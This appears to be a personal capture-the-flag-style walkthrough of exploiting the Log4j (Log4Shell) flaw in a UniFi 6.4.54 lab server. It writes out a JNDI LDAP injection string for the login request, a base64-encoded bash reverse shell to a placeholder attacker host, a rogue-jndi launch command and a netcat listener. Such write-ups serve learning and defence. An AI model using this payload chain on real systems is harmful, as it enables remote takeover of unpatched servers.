log4j

We all have our interests and niche areas that excite us and to be honest, for me, java is at the bottom of that list. When the vulnerability was first released it didn’t really do it for me. Don’t get me wrong I did researched it, I exploited it to learn more and I coordinated various teams to address the issue. Personally, being motivated enough to create this write-up honestly did take this long. With that being said this will not be a deep dive into the vulnerability but more of a proof of concept.

Enumeration:

As always begin scanning the server with nmap to discover the ports and services. In this scenario I ran three switches.

• -sC scan running all default scripts
• -sV check service and version info
• -v for added verbosity

sudo nmap -sC -sV -v 10.129.96.149

Visiting the IP redirected from port 8080/tcp to 8443/tcp. This is consistent with our Nmap results as 8080/tcp reports having an open http-proxy. Observing the login page displays Unifi version of 6.4.54.

There is a great article on exploiting this version that can be found here. https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi

Exploitation:

There are different variations when testing for a log4j vulnerability one way is using cURL but in this example I will keep it simple and use Burp.

I configured my web browser proxy settings and launched Burp. To test I want to intercept the POST header that is being sent to the server. Once the POST header is intercepted I will send it to Repeater to begin testing. Notice the fake credentials that were submitted, the credentials do not mean anything this was only provided to intercept the POST header.

Once in Repeater I provided the “remember” field with the famous jndi ldap command that should communicate back with to an ldap server. To test this I launched tcpdump and told it to monitor traffic on port 389. If successful traffic should be logged because ldap uses port 389.

sudo tcpdump -i tun0 port 389

${jndi:ldap://attack_box_IP/fake}

Successful connection made.

Now that the theory has been tested successfully it is time to build off of this theory to gain a foothold of the vulnerable system. In order for this to be successful there are dependencies that need to be installed ahead of time that I am not going to cover as there is a lot of documentation that can be found online. The dependencies are Open-JDK, maven and rogue-jndi.

What we will do next if create a payload, encode it into base64 and pass it to rogue-jndi.

echo 'bash -c bash -i >&/dev/tcp/attackboxip/attackboxport 0>&1' | base64

The created payload will then be placed into rogue-jndi command for execution.

java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,encodedpayloadhere}|{base64,-d}|{bash,-i}" --hostname "attackboxip"

Once launched replace the jndi test path in Burp with the below tomcat path. Before executing we can start a netcat listener and so that we can watch the connections being made behind the scenes we can also change the port of tcpdump to 1389 to reflect the port being used in rouge-jndi.

nc -lvnp 4444

sudo tcpdump -tun0 port 1389

Now that everything is staged its time to send our payload using Burp.

After sending the payload we receive successful connections in tcpdump validating that a connection was created. We also see that a connection to netcat was created and inputting a quick whoami command validates a successful foothold.

Happy hacking and patch your systems!